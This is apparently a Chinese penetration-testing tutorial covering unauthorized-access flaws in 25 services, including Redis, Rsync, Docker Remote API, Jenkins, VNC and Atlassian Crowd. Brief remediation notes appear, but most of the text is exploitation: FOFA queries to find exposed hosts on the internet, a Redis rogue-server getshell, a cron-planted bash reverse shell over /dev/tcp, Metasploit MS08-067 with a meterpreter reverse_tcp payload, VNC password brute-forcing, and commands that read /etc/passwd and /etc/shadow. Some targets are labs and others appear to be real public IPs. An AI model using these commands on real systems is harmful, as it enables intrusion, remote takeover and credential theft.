当前位置: 首页 > article >正文

未授权访问漏洞

一.Redis未授权访问漏洞

启动我们的靶场

在kali安装一下redis输入

apt-get install redis

我们去尝试redis连接,输入

redis-cli -h 8.155.8.255 -p 6379

连接成功后输入info看看是否能执行

执行成功

#redis常⻅命令 
(1)查看信息:info 
(2)删除所有数据库内容:flushall 
(3)刷新数据库:flushdb 
(4)看所有键:KEYS *,使⽤select num可以查看键值数据。 
(5)设置变量:set test "whoami" 
(6)config set dir dirpath 设置路径等配置 
(7)config get dir/dbfilename 获取路径及数据配置信息 
(8)save保存 
(9)get 变量,查看变量名称

下面是getshell redis的工具下载地址

https://github.com/n0b0dyCN/redis-rogue-server

我们直接克隆

git clone https://github.com/n0b0dyCN/redis-rogue-server

ls查看一下

cd到redis-rogue-server

cd redis-rogue-server

看到了.py

运行这个工具,输入

python3 redis-rogue-server.py --rhost 8.155.8.255 --lhost 8.155.8.255

rhost指定的是目标ip

lhost指定的是本机ip

第一遍失败了,正常,在运行一次

成功了,我们选i正向获取shell

输入id试一下

获取成功

二.MongoDB未授权访问漏洞

拉取镜像,输入

docker pull mongo

打开navicat,连接——>MongoDB

确定,连接成功,存在未授权访问漏洞

修复防御:

1. 为MongoDB添加认证:MongoDB启动时添加 --auth 参数、为MongoDB添加⽤户。 
2. MongoDB ⾃身带有⼀个HTTP服务和并⽀持REST接⼝。在2.6以后这些接⼝默认是关闭的。 
mongoDB默认会使⽤默认端⼝监听web服务,⼀般不需要通过web⽅式进⾏远程管理,建议禁⽤。 
修改配置⽂件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false 。
3. 启动时加⼊参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf ⽂件中添加以下内容:bind_ip = 127.0.0.1 。

三.Memcached未授权访问漏洞

我们来到下方地址下载一下Memcached程序

https://www.runoob.com/memcached/window-install-memcached.html

直接点开我们是无法运行的

我们以管理员身份打开终端

输入下面两条命令

memcached.exe -d install
memcached.exe -d start

打开kali,使⽤Telnet程序探测⽬标的11211端⼝,输入

telnet 172.16.1.140 11211

连接上以后输入stats试试是否连接成功

漏洞修复:

1. 设置Memchached只允许本地访问。
2. 禁⽌外⽹访问Memcached 11211端⼝。 
3. 配置访问控制策略。 
4. 最⼩化权限运⾏。 
5. 修改默认端⼝等。

四.Zookeeper未授权访问漏洞

我们用fofa搜索一下语法

port="2181" && "Zookeeper" && country="US"

在kali中使用以下命令进行未授权访问漏洞测试

echo envi | nc ip 端⼝

使用Zookeeper可视化管理⼯具进⾏连接

https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

双击运行(需要java环境)

点击ok,过一会出现这些目录,连接成功

漏洞修复:

1. 修改 ZooKeeper 默认端⼝,采⽤其他端⼝服务。
2. 添加访问控制,配置服务来源地址限制策略。
3. 增加 ZooKeeper 的认证配置。

五.Jenkins未授权访问漏洞

用fofa搜索下面语句

port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"

我们去访问后台/manage

下面这个就是不存在Jenkins未授权访问漏洞

下面这个就是存在Jenkins未授权访问漏洞

输入

println "whoami" .execute().text

说明存在Jenkins未授权访问漏洞

六.Jupyter NoteBook未授权访问漏洞

用fofa搜索

"Jupyter Notebook" && port="8888" && "terminals"

点进第一个

存在Jupyter NoteBook未授权访问漏洞

漏洞修复:

1. 开启身份验证,防⽌未经授权⽤户访问。
2. 访问控制策略,限制IP访问,绑定固定IP。

七.Elasticsearch未授权访问漏洞

漏洞信息:Elasticsearch服务普遍存在⼀个未授权访问的问题,攻击者通常可以请求⼀个开放9200或9300的服务器进⾏恶意攻击。

使用fofa搜索

"Elasticsearch" && port="9200"

http://localhost:9200/_plugin/head/ web管理界⾯
http://localhost:9200/_cat/indices
http://localhost:9200/_river/_search 查看数据库敏感信息
http://localhost:9200/_nodes 查看节点数据

存在Elasticsearch未授权访问漏洞

漏洞修复:

1. 访问控制策略,限制IP访问,绑定固定IP。
2. 在 config/elasticsearch.yml 中为9200端⼝设置认证等

八.Kibana未授权访问漏洞

漏洞信息:Kibana如果允许外⽹访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。

用fofa搜索

"kibana" && port="5601"

挨个访问

HTTP://{IP}/app/kibana#/

直到出现这种拼接语句,说明存在Kibana未授权访问漏洞

漏洞修复:

1. 升级Kibana到最新版本,升级地址如下https://www.elastic.co/cn/downloads/kibana。
2. 在kibana所在的服务器上安装nginx服务,利⽤nginx的转发指令实现,需要输⼊账号密码才可以访
问⻚⾯。
3. 如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP
来访问服务。

九.Docker Remote API未授权访问漏洞

漏洞信息:Docker Remote API如配置不当可导致未授权访问,被攻击者恶意利⽤。攻击者⽆需认证即可访问到Docker数据,可能导致敏感信息泄露,⿊客也可以删除 Docker上的数据,直接访问宿主机上的敏感信息,或对敏感⽂件进⾏修改,最终完全控制服务器。

使用fofa搜索

port="2375" && "docker"

http://ip:2375/version #查看版本信息
http://ip:2375/info #查看容器信息

这个就说明存在Docker Remote API未授权访问漏洞

在使用-H参数连接⽬标主机的docker,使⽤ps命令查询⽬标系统运行的镜像。

docker -H tcp://44.201.126.233:2375 ps
docker -H tcp://44.201.126.233:2375 version
docker -H tcp://44.201.126.233:2375 exec -it 1f4 /bin/bash

十.Kubernetes Api Server未授权访问漏洞

使用fofa搜索

port="8080" && app="Kubernetes"

在打开的网页中直接访问 8080 端⼝会返回可⽤的 API 列表

漏洞修复:

1. 进⾏授权认证
2. 使⽤Service Account令牌
3. 置防⽕墙策略

十一.Hadoop未授权访问漏洞

fofa搜索

port="8088" && app="Hadoop"

开启页面直接访问不经过⽤户密码验证

1. 如⽆必要,关闭 Hadoop Web 管理⻚⾯。
2. 开启身份验证,防⽌未经授权⽤户访问。
3. 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端⼝对公⽹全部禁⽌或限制可信任的IP地址才能访问包括 50070 以及 WebUI 等相关端⼝。

十二.ActiveMQ未授权访问漏洞

fofa搜索

body="ActiveMQ" && port="8161"

访问admin不经过用户密码验证,或者弱密码(账号密码都是admin)

1. ActiveMQ的安全配置分为控制台安全配置和后台安全配置。控制台安全配置是指⽤户通过浏览器登录ActiveMQ管理界⾯,对ActiveMQ进⾏管理的⼀个安全配置;主要是添加⽤户和密码。后台安全配置是指程序通过ActiveMQ发送消息的⼀个安全配置。
2. ActiveMQ后台安全配置。配置置连接ActiveMQ的⽤户名和密码,如果不设置ActiveMQ安全机制,任何知道ActiveMQ服务的IP、端⼝和消息地址的⼈,都可以接受和发送消息。

十三.RabbitMQ未授权访问漏洞

fofa搜索

port="15672" 
port="15692" 
port="25672"

在打开的页面中可输⼊默认的账号和密码进行登陆(默认账号密码都是guest)

1. 修改为强密码,删除默认的账号guest。

2. 禁止对外网开放,仅限于内部访问。

3.对用户身份进行核验

十四.Springboot Actuator未授权访问漏洞

漏洞信息:Actuator 是 springboot 提供的⽤来对应⽤系统进⾏⾃省和监控的功能模块。其提供的执⾏器

端点分为两类:原⽣端点和⽤户⾃定义扩展端点,原生端点主要有:

/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示⾃动配置报告
/configprops - 显示配置属性
/trace - 显示最后⼏条HTTP消息(可能包含会话标识符)
/logfile - 输出⽇志⽂件的内容
/shutdown - 关闭应⽤程序
/info - 显示应⽤信息
/metrics - 显示当前应⽤的’指标’信息
/health - 显示应⽤程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应⽤程序

fofa搜索

icon_hash="116323821"

1.访问/trace端点获取基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等),如果存在登录⽤户的操作请求,可以伪造cookie进⾏登录。
2.访问/env端点获取全部环境属性,由于 actuator 会监控站点 mysql、mangodb 之类的数据库服务,所以通过监控信息有时可以mysql、mangodb 数据库信息,如果数据库正好开放在公⽹,那么造成的危害是巨⼤的。
3.git 项⽬地址泄露,这个⼀般是在/health 路径,⽐如如下站点,访问其 health 路径可探测到站点 git 项⽬地址。

当 web 应⽤程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应用是使用了springboot 框架.

给网站后面拼接/trace或者/env或者/health

1. 禁⽤/env接⼝。 
2. 升级到Springboot actuator 2.0。 
3. 禁⽌对外开放。

十五.FTP未授权访问漏洞(匿名登陆)

我们在本地搭建一个模拟的测试环境

打开iis管理器

去本地计算机访问

ftp:172.16.1.140

漏洞修复:禁止匿名登录

十六.JBoss未授权访问漏洞

fofa搜索

title="Welcome to JBoss"

http://ip:port/jmx-console/

后续可以利⽤ jboss.deployment 部署shell
1. jboss.deployment部署shell
2. 进⾏JMX Console 安全配置。

十七.Ldap未授权访问漏洞

fofa搜索

port="389"
http://www.ldapadmin.org/download/index.html
https://sourceforge.net/projects/ldapadmin/

1. 修改ldap的acl,不允许匿名访问。
2. 根据业务设置ldap访问⽩名单或⿊名单。

十八.Rsync未授权访问漏洞

# 配置⽂件
motd file -> motd⽂件位置
log file -> ⽇志⽂件位置⽂件位置
path -> 默认路径位置路径位置
use chroot -> 是否限定在该⽬录下定在该⽬录下该⽬录下,如果为true就限定为模块默认⽬录
read only -> 只读配置
list=true -> 是否可以列出模块名以列出模块名出模块名
uid = root -> 传输使⽤的⽤户名
gid = root -> 传输使⽤的⽤户组
auth users -> 认证⽤户名
secrets file=/etc/rsyncd.passwd -> 指定密码⽂件密码⽂件,密码⽂件/etc/rsyncd.pa
sswd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机
hosts deny 禁⽌的主机*表任意任意
# 基本命令
Rsync [-avrlptgoD] [-e ssh] [user@hostIP:/dir] [/local/path]
-v 观察模式,输出更多资讯
-q 与 –v 相反,仅显示错误信息
-r 递归复制,针对⽬录
-u 仅更新较新的⽂件
-l 复制连接的属性
-p 复制时保持属性不变
-g 保存原有群组
-o 保存原有拥有⼈
-D 保存原有装置属性
-t 保存原有时间属性
-I 忽略更新时间属性,档案⽐对较快
-z 加上压缩参数
-e 使⽤协议通道,例如ssh,-e ssh
-a 相对于-rlptgoD,所以-a最常⽤

漏洞描述:Rsync未授权访问带来的危害主要有两个:

1. 造成了严重的信息泄露;
2. 上传脚本后⻔⽂件,远程命令执⾏;

在fofa搜索

(port="873") && (is_honeypot=false && is_fraud=false)

启动靶场

cd vulhub/rsync/common
docker-compose up -d

执行命令

rsync rsync://8.155.7.133:873/src/

对系统中的敏感⽂件下载操作 /etc/passwd,输入

rsync rsync://IP:port/src/etc/passwd
rsync rsync://8.155.7.133:873/src/etc/passwd /tmp/
cat /tmp/passwd

上传⽂件,如果有相应的jsp/asp/php环境可以写⼀句话以phpinfo为例

echo "" > phpinfo.php
cat phpinfo.php
rsync phpinfo.php rsync://8.155.7.133:873/src/home/

反弹shell:在此可利⽤定时任务cron来反弹获取shell

#查看定时任务
rsync rsync://8.155.7.133:873/src/etc/crontab
#安静定时文件下载下来
rsync rsync://8.155.7.133/src/etc/crontab /tmp/crontab.txt
#定时任务内容为,⼤致意思为每17分钟调⽤⼀次/etc/cron.hourly
cat /tmp/crontab.txt
#创建shell⽂件
/bin/bash -i >& /dev/tcp/8.155.8.255/8888 0>&1
#授权shell文件
chmod 777 shell
#上传shell至靶机
rsync -av ./shell rsync://8.155.7.133:873/src/etc/cron.hourly
#攻击机开启nc监听相应端⼝
nc -lvp 8888

十九.VNC未授权访问漏洞

fofa搜索

(port="5900") && (is_honeypot=false && is_fraud=false)
# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.1.200
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit

步骤三:VNC链接验证

vncviewer ipaddress

二十.Dubbo未授权访问漏洞

fofa搜索

(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)

在kali输入

telnet IP port

1. 配置dubbo认证。
2. 设置防⽕墙策略;
如果正常业务中dubbo 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。

二十一.NSF共享目录未授权访问

fofa搜索

"nfs"

在kali安装nfs-common

apt install nfs-common

showmount -e 61.224.101.104
mount -t nfs 192.168.126.130:/grdata /mnt

二十二.Druid未授权访问漏洞

步骤⼀:使⽤以下语句在Fofa与Google上进⾏资产收集....

# Fofa
title="Druid Stat Index"
# PHPINFO⻚⾯
inurl:phpinfo.php intitle:phpinfo()
info.php test.php
 
# Druid未授权访问
inurl:"druid/index.html" intitle:"Druid Stat Index"

步骤⼆:对访问到的站点查看

步骤三:Druid批量扫描脚本...

https://github.com/MzzdToT/CVE-2021-34045

二十三、CouchDB未授权访问

步骤⼀:使⽤以下语句在Fofa上进⾏资产收集....或开启Vulhub靶场进⾏操作

# 搜索语法
(port="5984") && (is_honeypot=false && is_fraud=false)
# Vulhub靶场
cd /vulhub/couchdb/CVE-2017-12636
docker-compose up -d

步骤⼆:执⾏未授权访问测试命令

curl 192.168.1.4:5984
curl 192.168.1.4:5984/_config

步骤三:反弹Shell参考

https://blog.csdn.net/qq_45746681/article/details/108933389

二十四.Altassian Crowd

步骤⼀:使⽤以下语句在Fofa上进⾏资产收集

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp" 

步骤⼆:执行攻击命令并验证

python2 CVE-2019-11580.py http://192.168.116.132:8095/
curl http://192.168.116.132:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

二十五.RTSP未授权访问漏洞

(port="554") && (is_honeypot=false && is_fraud=false) && protocol="rtsp"
rtsp://admin:admin@192.168.1.1:554/cam/realmonitor?channel=2&subtype=1


http://www.kler.cn/a/458786.html

相关文章:

  • _使用CLion的Vcpkg安装SDL2,添加至CMakelists时报错,编译报错
  • 【QGIS入门实战精品教程】7.3:QGIS制作千层饼(DEM+等高线+影像+TIN)
  • 报错:websocket注入为null,已解决!
  • Android 系统 AlarmManager 系统层深度定制
  • 【Compose multiplatform教程25】拖放操作
  • 各个Spring Cloud版本有何主要差异
  • AF3 AtomTransformerBlock类解读
  • SpringBoot数据字典字段自动生成对应code和desc
  • 硬件设计-硬件 EMC 设计规范
  • Day62 图论part11
  • 【每日学点鸿蒙知识】ets匿名类、获取控件坐标、Web显示iframe标签、软键盘导致上移、改变Text的背景色
  • 【Node】什么是Node,及基础使用
  • redis用途都有哪些
  • 《SwiftUI 实现点击按钮播放 MP3 音频》
  • 低空经济与数据资产入表的联系
  • llamafactory报错:双卡4090GPU,训练qwen2.5:7B、14B时报错GPU显存不足(out of memory),轻松搞定~~~
  • Android 学习小记1
  • plantuml 信号时序图
  • 重装操作系统后 Oracle 11g 数据库数据还原
  • 深入理解Android中的ImageReader与JNI交互
  • Android笔试面试题AI答之Android基础(6)
  • 【深度学习基础之多尺度特征提取】多尺度图像增强(Multi-Scale Image Augmentation)是如何在深度学习网络中提取多尺度特征的?附代码
  • DAY176内网对抗-信息收集篇SPN扫描DC定位角色区域定性服务探针安全防护凭据获取
  • 《C++设计模式》策略模式
  • 应用层1——C/S、P2P、DNS域名系统
  • 【Rust自学】5.2. struct使用例(加打印调试信息)